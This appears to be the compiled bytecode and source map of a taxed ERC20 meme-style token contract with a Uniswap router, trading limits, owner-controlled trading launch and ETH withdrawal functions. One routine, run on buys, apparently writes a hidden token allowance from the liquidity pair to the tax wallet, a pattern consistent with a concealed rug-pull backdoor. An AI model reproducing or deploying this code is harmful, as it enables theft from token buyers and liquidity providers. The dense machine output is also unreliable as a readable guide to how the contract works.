2461bcd60e51b8152600401610463906117c4565b600c5460ff16156106225760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610463565b6012546001600160a01b031663f305d7194730610653816001600160a01b03165f9081526001602052604090205490565b5f806106665f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cc573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f191906117f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610746573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076a9190611824565b50600c805462ff00ff191662010001179055565b5f546001600160a01b031633146107a75760405162461bcd60e51b8152600401610463906117c4565b60405133904780156108fc02915f818181858888f193505050501580156107d0573d5f803e3d5ffd5b50565b5f6103a8338484610afc565b5f546001600160a01b031633146108085760405162461bcd60e51b8152600401610463906117c4565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108529030906108436009600a61179f565b61042b906461f313f8806117ad565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c69190611843565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610925573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109499190611843565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610993573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b79190611843565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610463565b6001600160a01b038216610a9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610463565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610b615760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610463565b6001600160a01b038316610bc35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610463565b5f8211610c245760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610463565b600c5462010000900460ff161580610c435750600c54610100900460ff165b15610cfb576001600160a01b0384165f90815260016020526040902054610c6b90839061185e565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c9a908390611871565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ced9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d2557505f546001600160a01b03848116911614155b1561108b57604080518082019091526013546001600160a01b039081168252601154166020820152610d56906111f7565b8015610d6f57506013546001600160a01b038581169116145b8015610d8957506012546001600160a01b03848116911614155b8015610dad57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0b57600c5460ff16610dfc5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610463565b610e286064610e22600854600b5411610e1757600454610e1b565b6006545b8590611260565b906112e5565b9050600d54821115610e7c5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74422e00000000000000006044820152606401610463565b600e5482610e9e856001600160a01b03165f9081526001602052604090205490565b610ea89190611871565b1115610ef65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610463565b600b8054905f610f0583611884565b91905055505b6013546001600160a01b03848116911614801590610f4157506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc057600e5482610f68856001600160a01b03165f9081526001602052604090205490565b610f729190611871565b1115610fc05760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610463565b6013546001600160a01b0390811690841603610ffe57610ffb6064610e22600954600b5411610ff157600554610e1b565b6007548590611260565b90505b600c54610100900460ff1615801561102357506013546001600160a01b038481169116145b80156110375750600c5462010000900460ff165b80156110465750600a54600b54115b1561108b57305f90815260016020526040902054600f548111156110815761108161107c8461107784601054611326565b611326565b61133a565b6110896114a4565b505b801561110357305f908152600160205260409020546110aa90826114da565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110fa9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111259083611538565b6001600160a01b0385165f9081526001602052604090205561116861114a8383611538565b6001600160a01b0385165f90815260016020526040902054906114da565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111b18585611538565b604051908152602001610ced565b5f81848411156111e25760405162461bcd60e51b815260040161046391906115a5565b505f6111ee848661185e565b95945050505050565b5f6032600e54609661120991906117ad565b611214906096611871565b61121f906096611871565b611229919061185e565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f825f0361126f57505f6103ac565b5f61127a83856117ad565b90508261128785836118b0565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610463565b9392505050565b5f6112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611579565b5f81831161133457826112de565b50919050565b600c805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061137c5761137c61189c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113f79190611843565b8160018151811061140a5761140a61189c565b6001600160a01b03928316602091820292909201015260125461143091309116846109d9565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114689085905f908690309042906004016118cf565b5f604051808303815f87803b15801561147f575f80fd5b505af1158015611491573d5f803e3d5ffd5b5050600c805461ff001916905550505050565b6011546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107d0573d5f803e3d5ffd5b5f806114e68385611871565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610463565b5f6112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b5f81836115995760405162461bcd60e51b815260040161046391906115a5565b505f6111ee84866118b0565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107d0575f80fd5b5f80604083850312156115ff575f80fd5b823561160a816115da565b946020939093013593505050565b5f805f6060848603121561162a575f80fd5b8335611635816115da565b92506020840135611645816115da565b929592945050506040919091013590565b5f60208284031215611666575f80fd5b81356112de816115da565b5f8060408385031215611682575f80fd5b823561168d816115da565b9150602083013561169d816115da565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156116f7578085048111156116db576116db6116a8565b60018416156116e957908102905b60019390931c9280026116c0565b935093915050565b5f8261170d575060016103ac565b8161171957505f6103ac565b816001811461172f576002811461173957611755565b60019150506103ac565b60ff84111561174a5761174a6116a8565b50506001821b6103ac565b5060208310610133831016604e8410600b8410161715611778575081810a6103ac565b6117845f1984846116bc565b805f1904821115611797576117976116a8565b029392505050565b5f6112de60ff8416836116ff565b80820281158282048414176103ac576103ac6116a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561180b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611834575f80fd5b815180151581146112de575f80fd5b5f60208284031215611853575f80fd5b81516112de816115da565b818103818111156103ac576103ac6116a8565b808201808211156103ac576103ac6116a8565b5f60018201611895576118956116a8565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f826118ca57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561191f5783516001600160a01b03168352602093840193909201916001016118f8565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209bd8f10323fbb4ab8cb10ca3418b90e68ddee23a2b224148e83d6551b518fcee64736f6c634300081a0033

3747:7556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5798:83;;;;;;;;;;-1:-1:-1;5868:5:0;;;;;;;;;;;;-1:-1:-1;;;5868:5:0;;;;5798:83;;;;;;;:::i;:::-;;;;;;;;6930:161;;;;;;;;;;-1:-1:-1;6930:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6930:161:0;945:187:1;4822:46:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4822:46:0;1137:177:1;6069:95:0;;;;;;;;;;;;;:::i;6613:311::-;;;;;;;;;;-1:-1:-1;6613:311:0;;;;;:::i;:::-;;:::i;5980:83::-;;;;;;;;;;-1:-1:-1;5980:83:0;;4464:1;1974:36:1;;1962:2;1947:18;5980:83:0;1832:184:1;7436:249:0;;;;;;;;;;-1:-1:-1;7436:249:0;;;;;:::i;:::-;;:::i;:::-;;4657:46;;;;;;;;;;;;;;;;4710;;;;;;;;;;;;;;;;6170:117;;;;;;;;;;-1:-1:-1;6170:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6263:16:0;6236:7;6263:16;;;:7;:16;;;;;;;6170:117;1611:148;;;;;;;;;;;;;:::i;10830:470::-;;;;;;;;;;;;;:::i;1401:79::-;;;;;;;;;;-1:-1:-1;1439:7:0;1466:6;1401:79;;-1:-1:-1;;;;;1466:6:0;;;2679:51:1;;2667:2;2652:18;1401:79:0;2533:203:1;5887:87:0;;;;;;;;;;-1:-1:-1;5959:7:0;;;;;;;;;;;;-1:-1:-1;;;5959:7:0;;;;5887:87;;10472:114;;;;;;;;;;;;;:::i;6293:167::-;;;;;;;;;;-1:-1:-1;6293:167:0;;;;;:::i;:::-;;:::i;4763:52::-;;;;;;;;;;;;;;;;5425:367;;;;;;;;;;;;;:::i;6466:141::-;;;;;;;;;;-1:-1:-1;6466:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6574:16:0;;;6547:7;6574:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6466:141;6930:161;7005:4;7022:39;1064:10;7045:7;7054:6;7022:8;:39::i;:::-;-1:-1:-1;7079:4:0;6930:161;;;;;:::o;6069:95::-;6122:7;4522:15;4464:1;4522:2;:15;:::i;:::-;4507:30;;:12;:30;:::i;:::-;6142:14;;6069:95;:::o;6613:311::-;6711:4;6728:36;6738:6;6746:9;6757:6;6728:9;:36::i;:::-;6775:119;6784:6;1064:10;6806:87;6842:6;6806:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6806:17:0;;;;;;:9;:17;;;;;;;;1064:10;6806:31;;;;;;;;;;:35;:87::i;:::-;6775:8;:119::i;:::-;-1:-1:-1;6912:4:0;6613:311;;;;;:::o;7436:249::-;1526:6;;-1:-1:-1;;;;;1526:6:0;1064:10;1526:22;1518:67;;;;-1:-1:-1;;;1518:67:0;;;;;;;:::i;:::-;;;;;;;;;7510:11:::1;:19:::0;;-1:-1:-1;;;;;;7510:19:0::1;-1:-1:-1::0;;;;;7510:19:0;::::1;;::::0;;4522:15:::1;4464:1;4522:2;:15;:::i;:::-;4507:30;::::0;:12:::1;:30;:::i;:::-;7540:11;:19:::0;4522:15:::1;4464:1;4522:2;:15;:::i;:::-;4507:30;::::0;:12:::1;:30;:::i;:::-;7570:11;:19:::0;-1:-1:-1;;;;;7600:27:0;::::1;;::::0;;;:20:::1;:27;::::0;;;;:34;;-1:-1:-1;;7600:34:0::1;7630:4;7600:34;::::0;;7650:27:::1;4522:15;4464:1;4522:2;:15;:::i;:::-;4507:30;::::0;:12:::1;:30;:::i;:::-;7650:27;::::0;1283:25:1;;;1271:2;1256:18;7650:27:0::1;;;;;;;7436:249:::0;:::o;1611:148::-;1526:6;;-1:-1:-1;;;;;1526:6:0;1064:10;1526:22;1518:67;;;;-1:-1:-1;;;1518:67:0;;;;;;;:::i;:::-;1718:1:::1;1702:6:::0;;1681:40:::1;::::0;-1:-1:-1;;;;;1702:6:0;;::::1;::::0;1681:40:::1;::::0;1718:1;;1681:40:::1;1749:1;1732:19:::0;;-1:-1:-1;;;;;;1732:19:0::1;::::0;;1611:148::o;10830:470::-;1526:6;;-1:-1:-1;;;;;1526:6:0;1064:10;1526:22;1518:67;;;;-1:-1:-1;;;1518:67:0;;;;;;;:::i;:::-;10894:11:::1;::::0;::::1;;10893:12;10885:48;;;::::0;-1:-1:-1;;;10885:48:0;;5434:2:1;10885:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;10885:48:0::1;5232:347:1::0;10885:48:0::1;10944:10;::::0;-1:-1:-1;;;;;10944:10:0::1;:26;10978:21;11023:4;11043:24;11023:4:::0;-1:-1:-1;;;;;6263:16:0;6236:7;6263:16;;;:7;:16;;;;;;;6170:117;11043:24:::1;11082:1;11098::::0;11114:7:::1;1439::::0;1466:6;-1:-1:-1;;;;;1466:6:0;;1401:79;11114:7:::1;10944:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10944:218:0;;;-1:-1:-1;;;;;5905:32:1;;;10944:218:0::1;::::0;::::1;5887:51:1::0;5954:18;;;5947:34;;;;5997:18;;;5990:34;;;;6040:18;;;6033:34;6104:32;;;6083:19;;;6076:61;11136:15:0::1;6153:19:1::0;;;6146:35;5859:19;;10944:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11180:8:0::1;::::0;11206:10:::1;::::0;11173:61:::1;::::0;-1:-1:-1;;;11173:61:0;;-1:-1:-1;;;;;11206:10:0;;::::1;11173:61;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;11180:8:0;::::1;::::0;-1:-1:-1;11173:24:0::1;::::0;6800:18:1;;11173:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11245:11:0::1;:18:::0;;-1:-1:-1;;11274:18:0;;;;;10830:470::o;10472:114::-;1526:6;;-1:-1:-1;;;;;1526:6:0;1064:10;1526:22;1518:67;;;;-1:-1:-1;;;1518:67:0;;;;;;;:::i;:::-;10525:53:::1;::::0;1064:10;;10556:21:::1;10525:53:::0;::::1;;;::::0;::::1;::::0;;;10556:21;1064:10;10525:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10472:114::o:0;6293:167::-;6371:4;6388:42;1064:10;6412:9;6423:6;6388:9;:42::i;5425:367::-;1526:6;;-1:-1:-1;;;;;1526:6:0;1064:10;1526:22;1518:67;;;;-1:-1:-1;;;1518:67:0;;;;;;;:::i;:::-;5478:10:::1;:99:::0;;-1:-1:-1;;;;;;5478:99:0::1;5524:42;5478:99:::0;;::::1;::::0;;;5588:53:::1;::::0;5605:4:::1;::::0;4522:15:::1;4464:1;4522:2;:15;:::i;:::-;4507:30;::::0;:12:::1;:30;:::i;5588:53::-;5681:10;;;;;;;;;-1:-1:-1::0;;;;;5681:10:0::1;-1:-1:-1::0;;;;;5681:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5663:50:0::1;;5736:4;5756:10;;;;;;;;;-1:-1:-1::0;;;;;5756:10:0::1;-1:-1:-1::0;;;;;5756:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5663:121;::::0;-1:-1:-1;;;;;;5663:121:0::1;::::0;;;;;;-1:-1:-1;;;;;7662:32:1;;;5663:121:0::1;::::0;::::1;7644:51:1::0;7731:32;;7711:18;;;7704:60;7617:18;;5663:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5652:8;:132:::0;;-1:-1:-1;;;;;;5652:132:0::1;-1:-1:-1::0;;;;;5652:132:0;;;::::1;::::0;;;::::1;::::0;;5425:367::o;7097:333::-;-1:-1:-1;;;;;7190:19:0;;7182:68;;;;-1:-1:-1;;;7182:68:0;;7977:2:1;7182:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;7182:68:0;7775:400:1;7182:68:0;-1:-1:-1;;;;;7269:21:0;;7261:68;;;;-1:-1:-1;;;7261:68:0;;8382:2:1;7261:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;7261:68:0;8180:398:1;7261:68:0;-1:-1:-1;;;;;7340:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7390:32;;1283:25:1;;;7390:32:0;;1256:18:1;7390:32:0;;;;;;;7097:333;;;:::o;7691:2159::-;7771:17;-1:-1:-1;;;;;7809:18:0;;7801:68;;;;-1:-1:-1;;;7801:68:0;;8785:2:1;7801:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7801:68:0;8583:401:1;7801:68:0;-1:-1:-1;;;;;7888:16:0;;7880:64;;;;-1:-1:-1;;;7880:64:0;;9191:2:1;7880:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7880:64:0;8989:399:1;7880:64:0;7972:1;7963:6;:10;7955:64;;;;-1:-1:-1;;;7955:64:0;;9595:2:1;7955:64:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7955:64:0;9393:405:1;7955:64:0;8035:11;;;;;;;8034:12;;:22;;-1:-1:-1;8050:6:0;;;;;;;8034:22;8030:209;;;-1:-1:-1;;;;;8089:13:0;;;;;;:7;:13;;;;;;:22;;8105:6;;8089:22;:::i;:::-;-1:-1:-1;;;;;8073:13:0;;;;;;;:7;:13;;;;;;:38;;;;8140:11;;;;;;;:20;;8154:6;;8140:20;:::i;:::-;-1:-1:-1;;;;;8126:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8180:26;;;;;;;;;;8199:6;1283:25:1;;1271:2;1256:18;;1137:177;8180:26:0;;;;;;;;8221:7;7691:2159;;;:::o;8030:209::-;1439:7;1466:6;-1:-1:-1;;;;;8253:15:0;;;1466:6;;8253:15;;;;:32;;-1:-1:-1;1439:7:0;1466:6;-1:-1:-1;;;;;8272:13:0;;;1466:6;;8272:13;;8253:32;8249:1259;;;8306:30;;;;;;;;;8313:8;;-1:-1:-1;;;;;8313:8:0;;;8306:30;;8323:11;;;8306:30;;;;;;:5;:30::i;:::-;:50;;;;-1:-1:-1;8348:8:0;;-1:-1:-1;;;;;8340:16:0;;;8348:8;;8340:16;8306:50;:79;;;;-1:-1:-1;8374:10:0;;-1:-1:-1;;;;;8360:25:0;;;8374:10;;8360:25;;8306:79;:109;;;;-1:-1:-1;;;;;;8391:24:0;;;;;;:20;:24;;;;;;;;8389:26;8306:109;8302:504;;;8444:11;;;;8436:44;;;;-1:-1:-1;;;8436:44:0;;10268:2:1;8436:44:0;;;10250:21:1;10307:2;10287:18;;;10280:30;-1:-1:-1;;;10326:18:1;;;10319:51;10387:18;;8436:44:0;10066:345:1;8436:44:0;8511:76;8583:3;8511:67;8533:15;;8523:9;;:25;8522:55;;8563:14;;8522:55;;;8550:12;;8522:55;8511:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8499:88;;8624:11;;8614:6;:21;;8606:58;;;;-1:-1:-1;;;8606:58:0;;10618:2:1;8606:58:0;;;10600:21:1;10657:2;10637:18;;;10630:30;10696:26;10676:18;;;10669:54;10740:18;;8606:58:0;10416:348:1;8606:58:0;8717:11;;8707:6;8691:13;8701:2;-1:-1:-1;;;;;6263:16:0;6236:7;6263:16;;;:7;:16;;;;;;;6170:117;8691:13;:22;;;;:::i;:::-;:37;;8683:76;;;;-1:-1:-1;;;8683:76:0;;10971:2:1;8683:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8683:76:0;10769:350:1;8683:76:0;8778:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8302:504;8830:8;;-1:-1:-1;;;;;8824:14:0;;;8830:8;;8824:14;;;;:44;;-1:-1:-1;;;;;;8844:24:0;;;;;;:20;:24;;;;;;;;8842:26;8824:44;8820:161;;;8923:11;;8913:6;8897:13;8907:2;-1:-1:-1;;;;;6263:16:0;6236:7;6263:16;;;:7;:16;;;;;;;6170:117;8897:13;:22;;;;:::i;:::-;:37;;8889:76;;;;-1:-1:-1;;;8889:76:0;;10971:2:1;8889:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8889:76:0;10769:350:1;8889:76:0;9004:8;;-1:-1:-1;;;;;9004:8:0;;;8998:14;;;;8995:145;;9045:79;9120:3;9045:70;9067:16;;9057:9;;:26;9056:58;;9099:15;;9056:58;;;9085:13;;9045:6;;:10;:70::i;:79::-;9033:91;;8995:145;9159:6;;;;;;;9158:7;:25;;;;-1:-1:-1;9175:8:0;;-1:-1:-1;;;;;9169:14:0;;;9175:8;;9169:14;9158:25;:40;;;;-1:-1:-1;9187:11:0;;;;;;;9158:40;:72;;;;;9212:18;;9202:9;;:28;9158:72;9154:343;;;9300:4;9251:28;6263:16;;;:7;:16;;;;;;9349:17;;9328:38;;9325:125;;;9389:61;9400:49;9404:6;9411:37;9415:20;9436:11;;9411:3;:37::i;:::-;9400:3;:49::i;:::-;9389:10;:61::i;:::-;9469:12;:10;:12::i;:::-;9232:265;9154:343;9521:11;;9518:157;;9585:4;9569:22;;;;:7;:22;;;;;;:37;;9596:9;9569:26;:37::i;:::-;9562:4;9546:22;;;;:7;:22;;;;;;;:60;;;;9624:39;;-1:-1:-1;;;;;9624:39:0;;;;;;;9653:9;1283:25:1;;1271:2;1256:18;;1137:177;9624:39:0;;;;;;;;9518:157;-1:-1:-1;;;;;9699:13:0;;;;;;:7;:13;;;;;;:25;;9717:6;9699:17;:25::i;:::-;-1:-1:-1;;;;;9685:13:0;;;;;;:7;:13;;;;;:39;9747:38;9763:21;:6;9774:9;9763:10;:21::i;:::-;-1:-1:-1;;;;;9747:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9735:11:0;;;;;;;:7;:11;;;;;:50;;;;9801:41;;;9820:21;:6;9831:9;9820:10;:21::i;:::-;9801:41;;1283:25:1;;;1271:2;1256:18;9801:41:0;1137:177:1;2115:190:0;2201:7;2237:12;2229:6;;;;2221:29;;;;-1:-1:-1;;;2221:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2261:9:0;2273:5;2277:1;2273;:5;:::i;:::-;2261:17;2115:190;-1:-1:-1;;;;;2115:190:0:o;9856:157::-;9911:4;9981:2;9964:11;;9960:3;:15;;;;:::i;:::-;9956:19;;:3;:19;:::i;:::-;:23;;9976:3;9956:23;:::i;:::-;9955:28;;;;:::i;:::-;9937:7;;-1:-1:-1;;;;;9927:18:0;;;;;;;:9;9937:7;9927:18;;;;;;;9946:7;;;;9927:27;;;;;;;;;;;;:56;;;;-1:-1:-1;9951:1:0;;9856:157::o;2311:246::-;2369:7;2393:1;2398;2393:6;2389:47;;-1:-1:-1;2423:1:0;2416:8;;2389:47;2446:9;2458:5;2462:1;2458;:5;:::i;:::-;2446:17;-1:-1:-1;2491:1:0;2482:5;2486:1;2446:17;2482:5;:::i;:::-;:10;2474:56;;;;-1:-1:-1;;;2474:56:0;;11820:2:1;2474:56:0;;;11802:21:1;11859:2;11839:18;;;11832:30;11898:34;11878:18;;;11871:62;-1:-1:-1;;;11949:18:1;;;11942:31;11990:19;;2474:56:0;11618:397:1;2474:56:0;2548:1;2311:246;-1:-1:-1;;;2311:246:0:o;2563:132::-;2621:7;2648:39;2652:1;2655;2648:39;;;;;;;;;;;;;;;;;:3;:39::i;10592:99::-;10648:7;10677:1;10675;:3;10674:9;;10682:1;10674:9;;;-1:-1:-1;10680:1:0;10592:99;-1:-1:-1;10592:99:0:o;10019:447::-;5077:6;:13;;-1:-1:-1;;5077:13:0;;;;;10110:16:::1;::::0;;10124:1:::1;10110:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10110:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10110:16:0::1;10086:40;;10155:4;10137;10142:1;10137:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10137:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10181:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10181:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10137:7;;10181:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10171:4;10176:1;10171:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10171:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;10241:10:::1;::::0;10209:52:::1;::::0;10226:4:::1;::::0;10241:10:::1;10254:6:::0;10209:8:::1;:52::i;:::-;10272:10;::::0;:186:::1;::::0;-1:-1:-1;;;10272:186:0;;-1:-1:-1;;;;;10272:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;10348:6;;10272:10:::1;::::0;10385:4;;10412::::1;::::0;10432:15:::1;::::0;10272:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5113:6:0;:14;;-1:-1:-1;;5113:14:0;;;-1:-1:-1;;;;10019:447:0:o;10697:92::-;10738:11;;:43;;-1:-1:-1;;;;;10738:11:0;;;;10759:21;10738:43;;;;;:11;:43;:11;:43;10759:21;10738:11;:43;;;;;;;;;;;;;;;;;;;1788:179;1846:7;;1878:5;1882:1;1878;:5;:::i;:::-;1866:17;;1907:1;1902;:6;;1894:46;;;;-1:-1:-1;;;1894:46:0;;13318:2:1;1894:46:0;;;13300:21:1;13357:2;13337:18;;;13330:30;13396:29;13376:18;;;13369:57;13443:18;;1894:46:0;13116:351:1;1973:136:0;2031:7;2058:43;2062:1;2065;2058:43;;;;;;;;;;;;;;;;;:3;:43::i;2701:189::-;2787:7;2822:12;2815:5;2807:28;;;;-1:-1:-1;;;2807:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2846:9:0;2858:5;2862:1;2858;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:255::-;2088:6;2141:2;2129:9;2120:7;2116:23;2112:32;2109:52;;;2157:1;2154;2147:12;2109:52;2196:9;2183:23;2215:31;2240:5;2215:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247